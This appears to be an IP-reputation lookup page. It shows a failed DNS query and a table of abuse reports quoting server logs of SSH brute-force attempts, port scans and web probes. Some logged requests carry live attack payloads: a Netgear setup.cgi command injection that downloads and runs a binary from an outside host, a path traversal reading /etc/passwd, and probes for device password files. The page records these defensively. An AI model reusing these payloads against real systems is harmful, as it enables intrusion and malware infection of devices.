城市(city): unknown
省份(region): unknown
国家(country): United States
运营商(isp): AT&T
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 75.49.97.106
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 36375
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;75.49.97.106. IN A
;; AUTHORITY SECTION:
. 298 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2020013003 1800 900 604800 86400
;; Query time: 120 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Jan 31 05:36:13 CST 2020
;; MSG SIZE rcvd: 116Host 106.97.49.75.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 106.97.49.75.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 83.144.110.218 | attack | May 25 01:04:05 icinga sshd[31818]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=83.144.110.218 May 25 01:04:07 icinga sshd[31818]: Failed password for invalid user lei from 83.144.110.218 port 57144 ssh2 |
2019-05-25 07:33:45 |
| 159.203.173.152 | attack | 159.203.173.152 - - [03/Jun/2019:10:41:35 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://104.168.204.214/akbins/mips.akira.ak%20-O%20/var/tmp/mips.akira.ak;%20chmod%20777%20/var/tmp/mips.akira.ak;%20/var/tmp/mips.akira.ak;%20rm%20-rf%20/var/tmp/mips.akira.ak&curpath=/¤tsetting.htm=1" 400 0 "-" "-" |
2019-06-03 10:42:31 |
| 193.27.242.2 | attack | [portscan] Port scan |
2019-05-25 07:29:47 |
| 123.249.83.139 | attack | 事件類型：Misc Attack 特徵碼：ET DROP Spamhaus DROP Listed Traffic Inbound group 7 |
2019-06-10 01:38:52 |
| 222.82.54.150 | botsattack | 222.82.54.150 - - [19/May/2019:13:55:53 +0800] "GET /home.asp HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" 222.82.54.150 - - [19/May/2019:13:55:55 +0800] "GET /images/logo.gif HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:55:56 +0800] "GET /fdsrwe HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:55:57 +0800] "GET /qnfxcjqr HTTP/1.1" 400 182 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:07 +0800] "GET /winbox.png HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /login.html HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /device_description.xml HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:09 +0800] "GET /current_config/passwd HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:11 +0800] "GET /cgi-bin/nobody/Machine.cgi?action=get_capability HTTP/1.1" 301 194 "-" "-" 222.82.54.150 - - [19/May/2019:13:56:11 +0800] "GET /index.asp HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" |
2019-05-19 14:01:20 |
| 104.152.52.67 | attack | 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS sip:nm SIP/2.0" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS / HTTP/1.0" 200 0 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "TNMP\\x04\\x00\\x00\\x00TNME\\x00\\x00\\x04\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "\\x03\\x00\\x00\\x0B\\x06\\xE0\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "DmdT\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x11\\x11\\x00\\xFF\\x01\\xFF\\x13" 400 182 "-" "-" |
2019-05-15 13:55:51 |
| 31.220.40.54 | attack | May 24 19:10:21 TORMINT sshd\\[25453\\]: pam_unix\\(sshd:auth\\): authentication failure\\; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.220.40.54 user=root May 24 19:10:24 TORMINT sshd\\[25453\\]: Failed password for root from 31.220.40.54 port 31238 ssh2 May 24 19:10:27 TORMINT sshd\\[25457\\]: pam_unix\\(sshd:auth\\): authentication failure\\; logname= uid=0 euid=0 tty=ssh ruser= rhost=31.220.40.54 user=root |
2019-05-25 07:38:04 |
| 124.235.138.144 | bots | 124.235.138.144 - - [23/May/2019:12:41:36 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:36 +0800] "GET /favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:37 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" 101.249.227.246 - - [23/May/2019:12:41:38 +0800] "GET /home/favicon.ico HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 101.249.227.246 - - [23/May/2019:12:41:39 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" 124.235.138.144 - - [23/May/2019:12:41:42 +0800] "GET /home/favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-05-23 13:08:18 |
| 104.152.52.74 | botsattack | 104.152.52.74 - - [13/May/2019:16:52:17 +0800] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 232 "-" "-" 104.152.52.74 - - [13/May/2019:16:52:18 +0800] "\\x01default" 400 182 "-" "-" 104.152.52.74 - - [13/May/2019:16:52:19 +0800] "0\\x0C\\x02\\x01\\x01`\\x07\\x02\\x01\\x02\\x04\\x00\\x80\\x00" 400 182 "-" "-" 104.152.52.74 - - [13/May/2019:16:52:20 +0800] "OPTIONS sip:nm SIP/2.0" 400 182 "-" "-" 104.152.52.74 - - [13/May/2019:16:52:21 +0800] "TNMP\\x04\\x00\\x00\\x00TNME\\x00\\x00\\x04\\x00" 400 182 "-" "-" |
2019-05-13 16:53:29 |
| 205.185.114.87 | attack | MultiHost/MultiPort Probe, Scan, Hack |
2019-06-12 10:46:30 |
| 14.18.100.90 | attack | May 25 01:28:16 vps647732 sshd[12163]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.18.100.90 May 25 01:28:18 vps647732 sshd[12163]: Failed password for invalid user hack from 14.18.100.90 port 38866 ssh2 |
2019-05-25 07:37:33 |
| 205.251.150.194 | botsattack | 205.251.150.194 - - [21/May/2019:08:52:31 +0800] "GET /shop/index.php?l=page_view&p=advanced_search HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:34 +0800] "GET /shop/index.php?l=page_view&p=advanced_search HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:35 +0800] "GET /ss/index.php?l=page_view&p=advanced_search HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:37 +0800] "GET /ss/index.php?l=page_view&p=advanced_search HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" |
2019-05-21 08:53:56 |
| 139.59.190.69 | attack | 2019-06-12T02:45:53.120050abusebot.cloudsearch.cf sshd\\[5595\\]: Invalid user thomas from 139.59.190.69 port 54709 |
2019-06-12 10:47:01 |
| 205.185.114.87 | attack | Invalid user admin from 205.185.114.87 port 46312 |
2019-06-12 10:46:37 |
| 171.120.31.195 | attack | 171.120.31.195 - - [10/May/2019:14:21:19 +0800] "GET /../../../../../../../../../../../etc/passwd HTTP/1.1" 400 182 "-" "-" |
2019-05-10 14:22:51 |